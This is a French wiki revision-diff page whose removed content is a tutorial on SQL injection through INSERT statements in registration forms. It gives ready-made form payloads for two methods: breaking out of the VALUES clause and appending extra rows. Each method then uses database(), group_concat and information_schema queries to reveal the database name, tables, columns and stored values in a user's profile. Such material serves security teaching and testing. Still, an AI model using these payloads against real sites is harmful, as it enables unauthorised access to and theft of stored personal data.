Outils pour utilisateurs

Outils du site


web:injection_sql_-_insert

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

web:injection_sql_-_insert [2016/02/10 11:46]
arkinar créée
web:injection_sql_-_insert [2016/07/04 08:38]
Ligne 1: Ligne 1:
-**Injection SQL Insert** 
- 
-Un nouveau mode d'​injection sql est apparut avec la création de formulaire d'​inscription. 
-Le but de l'​insert est d'​insérer comme son nom l'​indique des valeurs dans une bdd. 
- 
-Pour mysql la requete est la suivante : 
- 
-INSERT INTO table_name VALUES ('​nom','​prenom','​email','​age'​);​ 
- 
-Si les champs ne sont pas traités avant d'​être envoyés en base de donnée nous pourrons les exploiter. 
- 
-Cet insert sera matérialisé par un formulaire simple avec quatre champs : 
- 
-Nom = 
- 
-Prenom = 
- 
-Email = 
- 
-Age = 
- 
-**Exploitation** 
- 
-__Première méthode__ 
- 
-1.Insérer des valeurs inatendu dans le formulaire 
- 
-Notre requête 
-<​code>​ 
-nom=dupond','​jean','​jean@dupond.fr','​30'​)#​ 
-</​code>​ 
-Cela aura pour effet de créer un utilisateur 
-dupond jean jean@dupond.fr 30 
- 
-Maintenant passons aux choses sérieuses. 
- 
-2.Afficher le nom de la base de donnée 
- 
-Notre requête : 
-<​code>​ 
-nom=dupond',​(database()),'​jean@dupond.fr','​30'​)#​ 
-</​code>​ 
-Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom. 
- 
-3.Afficher le nom des tables 
- 
-Notre requête : 
-<​code>​ 
-nom=dupond',​(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != '​mysql'​ and table_schema !='​information_schema'​),'​jean@dupond.fr','​30'​)#​ 
- 
-</​code>​ 
- 
-Group_concat permet d'​afficher plusieurs valeurs dans un même champs. 
- 
-Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom. 
- 
-4.Afficher le nom des colonnes d'une table 
- 
-Notre requête : 
-<​code>​ 
-nom=dupond',​(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='​ma_table'​),'​jean@dupond.fr','​30'​)#​ 
-</​code>​ 
- 
-Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisit à la place de notre prénom. 
- 
-5. Afficher une valeur d'une table 
- 
-Notre requête : 
- 
-<​code>​ 
-nom=dupond',​(SELECT group_concat(ma_colonne) FROM ma_table),'​jean@dupond.fr','​30'​)#​ 
-</​code>​ 
- 
-Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisit à la place de notre prénom. 
- 
- 
- 
-__Seconde méthode__ 
- 
-1.Insérer des valeurs à la suite de la première requete. 
- 
-Le contenu de notre requête 
-<​code>​ 
-nom=dupond&​prenom=jean&​email=jean@dupond.fr&​age=30'​),​('​best','​hacker','​best@hacker.fr',​20)#​ 
-</​code>​ 
-Cela aura pour effet de créer deux utilisateurs : 
-dupond jean jean@dupond.fr 30 
-best hacker best@hacker.fr 20 
- 
- 
-2.Afficher le nom de la base de donnée 
- 
-Notre requête : 
-<​code>​ 
-nom=dupond&​prenom=jean&​email=jean@dupond.fr&​age=30'​),​('​best',​(database()),'​best@hacker.fr',​20)#​ 
-</​code>​ 
-Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom de la base de donnée à la place de notre prénom. 
- 
-3.Afficher le nom des tables 
- 
-Notre requête : 
-<​code>​ 
-nom=dupond&​prenom=jean&​email=jean@dupond.fr&​age=30'​),​('​best',​(SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema != '​mysql'​ and table_schema !='​information_schema'​),'​best@hacker.fr',​20)#​ 
- 
-</​code>​ 
- 
-Group_concat permet d'​afficher plusieurs valeurs dans un même champs. 
- 
-Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des tables à la place de notre prénom. 
- 
-4.Afficher le nom des colonnes d'une table 
- 
-Notre requête : 
-<​code>​ 
-nom=dupond&​prenom=jean&​email=jean@dupond.fr&​age=30'​),​('​best',​(SELECT group_concat(column_name) FROM information_schema.columns WHERE table_name='​ma_table'​),'​best@hacker.fr','​20'​)#​ 
-</​code>​ 
- 
-Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons le nom des colonnes de la table choisit à la place de notre prénom. 
- 
-5. Afficher une valeur d'une table 
- 
-Notre requête : 
- 
-<​code>​ 
-nom=dupond&​prenom=jean&​email=jean@dupond.fr&​age=30'​),​('​best',​(SELECT group_concat(ma_colonne) FROM ma_table),'​best@hacker.fr','​20'​)#​ 
-</​code>​ 
- 
-Lorsque nous afficherons le profil de notre utilisateur nous obtiendrons les valeurs des colonnes de la table choisit à la place de notre prénom. 
- 
  
web/injection_sql_-_insert.txt · Dernière modification: 2016/07/04 08:38 (modification externe)